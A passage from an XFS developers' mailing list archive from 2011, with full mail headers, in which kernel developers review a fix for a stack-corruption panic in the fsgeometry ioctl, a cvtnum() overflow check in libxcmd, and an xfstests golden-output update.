right size. So below is an alternative to Eric's solution which just fixes this one caller instead. Eric has already told me this makes more sense. It would be nice if Jeffrey would re-test this fix, and Dan would sign off on it as well. -Alex Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to xfs_fs_geometry() in order to avoid passing kernel stack data back to user space: + memset(geo, 0, sizeof(*geo)); Unfortunately, one of the callers of that function passes the address of a smaller data type, cast to fit the type that xfs_fs_geometry() requires. As a result, this can happen: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 Call Trace: [] ? panic+0x50/0x150 [] ? __stack_chk_fail+0x10/0x18 [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] Fix this by fixing that one caller to pass the right type and then copy out the subset it is interested in. Note: This patch is an alternative to one originally proposed by Eric Sandeen. Reported-by: Jeffrey Hundstad Signed-off-by: Alex Elder --- fs/xfs/linux-2.6/xfs_ioctl.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) Index: b/fs/xfs/linux-2.6/xfs_ioctl.c =================================================================== --- a/fs/xfs/linux-2.6/xfs_ioctl.c +++ b/fs/xfs/linux-2.6/xfs_ioctl.c @@ -695,14 +695,19 @@ xfs_ioc_fsgeometry_v1( xfs_mount_t *mp, void __user *arg) { - xfs_fsop_geom_v1_t fsgeo; + xfs_fsop_geom_t fsgeo; int error; - error = xfs_fs_geometry(mp, (xfs_fsop_geom_t *)&fsgeo, 3); + error = xfs_fs_geometry(mp, &fsgeo, 3); if (error) return -error; - if (copy_to_user(arg, &fsgeo, sizeof(fsgeo))) + /* + * Caller should have passed an argument of type + * xfs_fsop_geom_v1_t. This is a proper subset of the + * xfs_fsop_geom_t that xfs_fs_geometry() fills in. + */ + if (copy_to_user(arg, &fsgeo, sizeof (xfs_fsop_geom_v1_t))) return -XFS_ERROR(EFAULT); return 0; } From sandeen@sandeen.net Tue Mar 1 12:16:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21IGB7L213239 for ; Tue, 1 Mar 2011 12:16:11 -0600 X-ASG-Debug-ID: 1299003538-2fb300240000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E99A41633E5E for ; Tue, 1 Mar 2011 10:18:58 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id uMcMiKSxA1khIwMP for ; Tue, 01 Mar 2011 10:18:58 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id D7D3248F6E20; Tue, 1 Mar 2011 12:18:57 -0600 (CST) Message-ID: <4D6D3891.5060908@sandeen.net> Date: Tue, 01 Mar 2011 12:18:57 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101207 Thunderbird/3.1.7 MIME-Version: 1.0 To: aelder@sgi.com CC: Jeffrey Hundstad , Dan Rosenberg , Eugene Teo , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls Subject: Re: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> <1298984132.32568.3.camel@dan> <4D6D128C.6010503@mnsu.edu> <4D6D157B.9070800@sandeen.net> <1299001800.2381.10.camel@doink> In-Reply-To: <1299001800.2381.10.camel@doink> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299003539 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56761 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/1/11 11:50 AM, Alex Elder wrote: > I'm sorry to muddy the waters with this. But I think the > proposed patch fixes the wrong problem. Having xfs_fs_geometry() > zero its argument is fine--it defines an interface and honors > it. The real problem lies in xfs_ioc_fsgeometry_v1(), which > violates that interface by passing the address of an object > that's not the right size. So below is an alternative to > Eric's solution which just fixes this one caller instead. > > Eric has already told me this makes more sense. It would > be nice if Jeffrey would re-test this fix, and Dan would > sign off on it as well. Reviewed-by: Eric Sandeen thanks, -Eric > -Alex > > Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to > xfs_fs_geometry() in order to avoid passing kernel stack data back > to user space: > > + memset(geo, 0, sizeof(*geo)); > > Unfortunately, one of the callers of that function passes the > address of a smaller data type, cast to fit the type that > xfs_fs_geometry() requires. As a result, this can happen: > > Kernel panic - not syncing: stack-protector: Kernel stack is corrupted > in: f87aca93 > > Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 > Call Trace: > > [] ? panic+0x50/0x150 > [] ? __stack_chk_fail+0x10/0x18 > [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] > > > Fix this by fixing that one caller to pass the right type and then > copy out the subset it is interested in. > > Note: This patch is an alternative to one originally proposed by > Eric Sandeen. > > Reported-by: Jeffrey Hundstad > Signed-off-by: Alex Elder > > --- > fs/xfs/linux-2.6/xfs_ioctl.c | 11 ++++++++--- > 1 file changed, 8 insertions(+), 3 deletions(-) > > Index: b/fs/xfs/linux-2.6/xfs_ioctl.c > =================================================================== > --- a/fs/xfs/linux-2.6/xfs_ioctl.c > +++ b/fs/xfs/linux-2.6/xfs_ioctl.c > @@ -695,14 +695,19 @@ xfs_ioc_fsgeometry_v1( > xfs_mount_t *mp, > void __user *arg) > { > - xfs_fsop_geom_v1_t fsgeo; > + xfs_fsop_geom_t fsgeo; > int error; > > - error = xfs_fs_geometry(mp, (xfs_fsop_geom_t *)&fsgeo, 3); > + error = xfs_fs_geometry(mp, &fsgeo, 3); > if (error) > return -error; > > - if (copy_to_user(arg, &fsgeo, sizeof(fsgeo))) > + /* > + * Caller should have passed an argument of type > + * xfs_fsop_geom_v1_t. This is a proper subset of the > + * xfs_fsop_geom_t that xfs_fs_geometry() fills in. > + */ > + if (copy_to_user(arg, &fsgeo, sizeof (xfs_fsop_geom_v1_t))) > return -XFS_ERROR(EFAULT); > return 0; > } > > From aelder@sgi.com Tue Mar 1 14:57:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21KvpEI218930 for ; Tue, 1 Mar 2011 14:57:51 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 35EE23040B2; Tue, 1 Mar 2011 13:00:38 -0800 (PST) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 1 Mar 2011 15:00:37 -0600 Subject: Re: [PATCH V2] libxcmd: return error from cvtnum() on overflow From: Alex Elder Reply-To: aelder@sgi.com To: Eric Sandeen Cc: Eric Sandeen , xfs-oss In-Reply-To: <4D6C1322.10102@sandeen.net> References: <4D6C075F.1010509@redhat.com> <4D6C1322.10102@sandeen.net> Content-Type: text/plain; charset="UTF-8" Date: Tue, 01 Mar 2011 15:00:37 -0600 Message-ID: <1299013237.2727.12.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 01 Mar 2011 21:00:37.0924 (UTC) FILETIME=[B74B4640:01CBD853] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-02-28 at 15:26 -0600, Eric Sandeen wrote: > Test 071 was failing in weird ways, partly because it was trying > to pass in offsets larger than strtoll() could accept, which then > silently returned LLONG_MAX instead. For DIO tests, this was > unaligned, so we got unexpected (to me, anyay) alignment errors. > > At least printing out the perror() makes this more obvious, > but unfortunately we then get the somewhat odd output: > > # xfs_io -f -d -c "pwrite 9223373136366403584 4096" /mnt/test/grrr > cvtnum: Numerical result out of range > non-numeric offset argument -- 9223373136366403584 > > Test 071 still fails, but at least it's a bit more obvious as to why. Your change looks good. But here are a few more general questions (for anyone who cares to respond--not just you): - Do you plan to get test 071 working? (Just curious.) - mkfs/xfs_mkfs.c and extimate/xfs_estimate.c each define their own version of the same function. Do you know why? Is there any reason we couldn't just have one? - The three version of cvtnum() are each a bit different. Two of them (the other two) return -1 for an empty string, while this one returns 0. - I'm not sure what you meant by "non-numeric" versus "invalid" in call sites. - Call sites seem to be a bit varied on how (or whether) they look for errors. Kind of a mess... Regardless, you can consider this one reviewed. We should fix all three instances of the function to fix this problem though--either the same as this (and in the same commit) or separeately. Reviewed-by: Alex Elder > Signed-off-by: Eric Sandeen > --- > > V2: zero errno first so we don't pick up a stale errno. > > Note: > ... should I change all callsites from "non-numeric" to "invalid" perhaps? From sandeen@sandeen.net Tue Mar 1 15:24:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21LOSkE219700 for ; Tue, 1 Mar 2011 15:24:28 -0600 X-ASG-Debug-ID: 1299014835-085602840000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 66C1F5054F6 for ; Tue, 1 Mar 2011 13:27:16 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 3KZNoYUudcR1N2jO for ; Tue, 01 Mar 2011 13:27:16 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 0CECF48F9705; Tue, 1 Mar 2011 15:27:14 -0600 (CST) Message-ID: <4D6D64B1.8060109@sandeen.net> Date: Tue, 01 Mar 2011 15:27:13 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101207 Thunderbird/3.1.7 MIME-Version: 1.0 To: aelder@sgi.com CC: Eric Sandeen , xfs-oss X-ASG-Orig-Subj: Re: [PATCH V2] libxcmd: return error from cvtnum() on overflow Subject: Re: [PATCH V2] libxcmd: return error from cvtnum() on overflow References: <4D6C075F.1010509@redhat.com> <4D6C1322.10102@sandeen.net> <1299013237.2727.12.camel@doink> In-Reply-To: <1299013237.2727.12.camel@doink> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299014837 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56774 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/1/11 3:00 PM, Alex Elder wrote: > On Mon, 2011-02-28 at 15:26 -0600, Eric Sandeen wrote: >> Test 071 was failing in weird ways, partly because it was trying >> to pass in offsets larger than strtoll() could accept, which then >> silently returned LLONG_MAX instead. For DIO tests, this was >> unaligned, so we got unexpected (to me, anyay) alignment errors. >> >> At least printing out the perror() makes this more obvious, >> but unfortunately we then get the somewhat odd output: >> >> # xfs_io -f -d -c "pwrite 9223373136366403584 4096" /mnt/test/grrr >> cvtnum: Numerical result out of range >> non-numeric offset argument -- 9223373136366403584 >> >> Test 071 still fails, but at least it's a bit more obvious as to why. > > Your change looks good. But here are a few more general questions > (for anyone who cares to respond--not just you): > - Do you plan to get test 071 working? (Just curious.) some day maybe, and I'd like to make it a generic test. > - mkfs/xfs_mkfs.c and extimate/xfs_estimate.c each define their > own version of the same function. Do you know why? Is there > any reason we couldn't just have one? I don't know ;) > - The three version of cvtnum() are each a bit different. Two > of them (the other two) return -1 for an empty string, while > this one returns 0. hrm. > - I'm not sure what you meant by "non-numeric" versus "invalid" > in call sites. I mean perror says: cvtnum: Numerical result out of range but then the caller says: non-numeric offset argument -- 9223373136366403584 "9223373136366403584" is not non-numeric; it is out of range. :) > - Call sites seem to be a bit varied on how (or whether) they > look for errors. Kind of a mess... yeah. > Regardless, you can consider this one reviewed. We should > fix all three instances of the function to fix this problem > though--either the same as this (and in the same commit) > or separeately. ok I may fix up the others, I'd forgotten about that. -Eric > Reviewed-by: Alex Elder > >> Signed-off-by: Eric Sandeen >> --- >> >> V2: zero errno first so we don't pick up a stale errno. >> >> Note: >> ... should I change all callsites from "non-numeric" to "invalid" perhaps? > > From jeffrey.hundstad@mnsu.edu Tue Mar 1 15:38:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21Lc64R220054 for ; Tue, 1 Mar 2011 15:38:06 -0600 X-ASG-Debug-ID: 1299015653-296302560000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.mnsu.edu (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2B5691634A0D for ; Tue, 1 Mar 2011 13:40:54 -0800 (PST) Received: from mail.mnsu.edu (Mail.MNSU.EDU [134.29.1.12]) by cuda.sgi.com with ESMTP id ak8NdtzyHI2wHqHb for ; Tue, 01 Mar 2011 13:40:54 -0800 (PST) Received: from [134.29.32.1] (j3gum-3.ITS.MNSU.EDU [134.29.32.1]) by mail.mnsu.edu (8.13.7/8.13.7) with ESMTP id p21Leo6D003019 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Tue, 1 Mar 2011 15:40:50 -0600 Message-ID: <4D6D67E2.80503@mnsu.edu> Date: Tue, 01 Mar 2011 15:40:50 -0600 From: Jeffrey Hundstad User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20101227 Icedove/3.0.11 MIME-Version: 1.0 To: Eric Sandeen CC: aelder@sgi.com, Dan Rosenberg , Eugene Teo , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls Subject: Re: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> <1298984132.32568.3.camel@dan> <4D6D128C.6010503@mnsu.edu> <4D6D157B.9070800@sandeen.net> <1299001800.2381.10.camel@doink> <4D6D3891.5060908@sandeen.net> In-Reply-To: <4D6D3891.5060908@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: Mail.MNSU.EDU[134.29.1.12] X-Barracuda-Start-Time: 1299015655 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0004 1.0000 -2.0186 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56775 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 03/01/2011 12:18 PM, Eric Sandeen wrote: > On 3/1/11 11:50 AM, Alex Elder wrote: > >> I'm sorry to muddy the waters with this. But I think the >> proposed patch fixes the wrong problem. Having xfs_fs_geometry() >> zero its argument is fine--it defines an interface and honors >> it. The real problem lies in xfs_ioc_fsgeometry_v1(), which >> violates that interface by passing the address of an object >> that's not the right size. So below is an alternative to >> Eric's solution which just fixes this one caller instead. >> >> Eric has already told me this makes more sense. It would >> be nice if Jeffrey would re-test this fix, and Dan would >> sign off on it as well. >> > Reviewed-by: Eric Sandeen I can't tell you if the security concerns are met but I can tell you that xfs_fsr is working as one would expect without a Kernel panic. Tested-by: Jeffrey Hundstad From aelder@sgi.com Tue Mar 1 16:50:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21MoVrt222970 for ; Tue, 1 Mar 2011 16:50:31 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay3.corp.sgi.com (Postfix) with ESMTP id D6EEAAC00B; Tue, 1 Mar 2011 14:53:17 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p21MrH46014850; Tue, 1 Mar 2011 16:53:17 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p21MrHwt014849; Tue, 1 Mar 2011 16:53:17 -0600 From: Alex Elder Message-Id: <201103012253.p21MrHwt014849@stout.americas.sgi.com> Date: Tue, 01 Mar 2011 16:53:17 -0600 To: xfs@oss.sgi.com Subject: [PATCH] xfstests: drop "Mount point match" from 028 and 047 golden output User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Bill's latest update to xfsdump dropped a line of output that served no real purpose. This change updates the golden output for the two tests that included that line of output. Signed-off-by: Alex Elder --- 028.out | 1 - 047.out | 1 - 2 files changed, 2 deletions(-) Index: b/028.out =================================================================== --- a/028.out +++ b/028.out @@ -225,7 +225,6 @@ Processing file /var/xfsdump/inventory/U /var/xfsdump/inventory/UUID.InvIndex Checking access for /var/xfsdump/inventory/UUID.StObj - Mount point match Session 0: HOSTNAME:SCRATCH_MNT ------------------------------------------------- Pruning this matching entry: Index: b/047.out =================================================================== --- a/047.out +++ b/047.out @@ -225,7 +225,6 @@ Processing file /var/xfsdump/inventory/U /var/xfsdump/inventory/UUID.InvIndex Checking access for /var/xfsdump/inventory/UUID.StObj - Mount point match Session 0: HOSTNAME:SCRATCH_MNT ------------------------------------------------- An entry matching the mount point/time is : From david@fromorbit.com Tue Mar 1 18:00:03 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p220010J225867 for ; Tue, 1 Mar 2011 18:00:03 -0600 X-ASG-Debug-ID: 1299024166-311301010000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4C4B8157ACC3 for ; Tue, 1 Mar 2011 16:02:46 -0800 (PST) Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id i0JZBOlAii24Ztl6 for ; Tue, 01 Mar 2011 16:02:46 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAG4VbU15LFEb/2dsb2JhbACmUnW+Cg2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail06.adl2.internode.on.net with ESMTP; 02 Mar 2011 10:32:45 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PuZWe-00024n-33; Wed, 02 Mar 2011 11:02:44 +1100 Date: Wed, 2 Mar 2011 11:02:44 +1100 From: Dave Chinner To: Alex Elder Cc: Eric Sandeen , Jeffrey Hundstad , Dan Rosenberg , Eugene Teo , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls Subject: Re: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls Message-ID: <20110302000244.GB4905@dastard> References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> <1298984132.32568.3.camel@dan> <4D6D128C.6010503@mnsu.edu> <4D6D157B.9070800@sandeen.net> <1299001800.2381.10.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299001800.2381.10.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1299024170 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56783 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 01, 2011 at 11:50:00AM -0600, Alex Elder wrote: > I'm sorry to muddy the waters with this. But I think the > proposed patch fixes the wrong problem. Having xfs_fs_geometry() > zero its argument is fine--it defines an interface and honors > it. The real problem lies in xfs_ioc_fsgeometry_v1(), which > violates that interface by passing the address of an object > that's not the right size. So below is an alternative to > Eric's solution which just fixes this one caller instead. > > Eric has already told me this makes more sense. It would > be nice if Jeffrey would re-test this fix, and Dan would > sign off on it as well. > > -Alex > > Commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added this call to > xfs_fs_geometry() in order to avoid passing kernel stack data back > to user space: > > + memset(geo, 0, sizeof(*geo)); > > Unfortunately, one of the callers of that function passes the > address of a smaller data type, cast to fit the type that > xfs_fs_geometry() requires. As a result, this can happen: > > Kernel panic - not syncing: stack-protector: Kernel stack is corrupted > in: f87aca93 > > Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 > Call Trace: > > [] ? panic+0x50/0x150 > [] ? __stack_chk_fail+0x10/0x18 > [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] > > > Fix this by fixing that one caller to pass the right type and then > copy out the subset it is interested in. > > Note: This patch is an alternative to one originally proposed by > Eric Sandeen. > > Reported-by: Jeffrey Hundstad > Signed-off-by: Alex Elder > > --- > fs/xfs/linux-2.6/xfs_ioctl.c | 11 ++++++++--- > 1 file changed, 8 insertions(+), 3 deletions(-) > > Index: b/fs/xfs/linux-2.6/xfs_ioctl.c > =================================================================== > --- a/fs/xfs/linux-2.6/xfs_ioctl.c > +++ b/fs/xfs/linux-2.6/xfs_ioctl.c > @@ -695,14 +695,19 @@ xfs_ioc_fsgeometry_v1( > xfs_mount_t *mp, > void __user *arg) > { > - xfs_fsop_geom_v1_t fsgeo; > + xfs_fsop_geom_t fsgeo; > int error; > > - error = xfs_fs_geometry(mp, (xfs_fsop_geom_t *)&fsgeo, 3); > + error = xfs_fs_geometry(mp, &fsgeo, 3); > if (error) > return -error; > > - if (copy_to_user(arg, &fsgeo, sizeof(fsgeo))) > + /* > + * Caller should have passed an argument of type > + * xfs_fsop_geom_v1_t. This is a proper subset of the > + * xfs_fsop_geom_t that xfs_fs_geometry() fills in. > + */ > + if (copy_to_user(arg, &fsgeo, sizeof (xfs_fsop_geom_v1_t))) > return -XFS_ERROR(EFAULT); Minor thing: "sizeof(foo)", not "sizeof (foo)".... Cheers,, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 1 18:02:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2202oen226001 for ; Tue, 1 Mar 2011 18:02:51 -0600 X-ASG-Debug-ID: 1299024338-1d7f022e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 153E0A5BA71 for ; Tue, 1 Mar 2011 16:05:39 -0800 (PST) Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id vBJoQsr3tFvvG1OA for ; Tue, 01 Mar 2011 16:05:39 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAPMYbU15LFEb/2dsb2JhbACmU3W+Dw2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail06.adl2.internode.on.net with ESMTP; 02 Mar 2011 10:35:35 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PuZZE-00025G-Tn; Wed, 02 Mar 2011 11:05:24 +1100 Date: Wed, 2 Mar 2011 11:05:24 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: drop "Mount point match" from 028 and 047 golden output Subject: Re: [PATCH] xfstests: drop "Mount point match" from 028 and 047 golden output Message-ID: <20110302000524.GC4905@dastard> References: <201103012253.p21MrHwt014849@stout.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201103012253.p21MrHwt014849@stout.americas.sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1299024340 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0356 1.0000 -1.7909 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.79 X-Barracuda-Spam-Status: No, SCORE=-1.79 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 01, 2011 at 04:53:17PM -0600, Alex Elder wrote: > Bill's latest update to xfsdump dropped a line of output that served > no real purpose. This change updates the golden output for the two > tests that included that line of output. > > Signed-off-by: Alex Elder Hmmm - That means older versions of xfsdump will now fail the test (e.g. 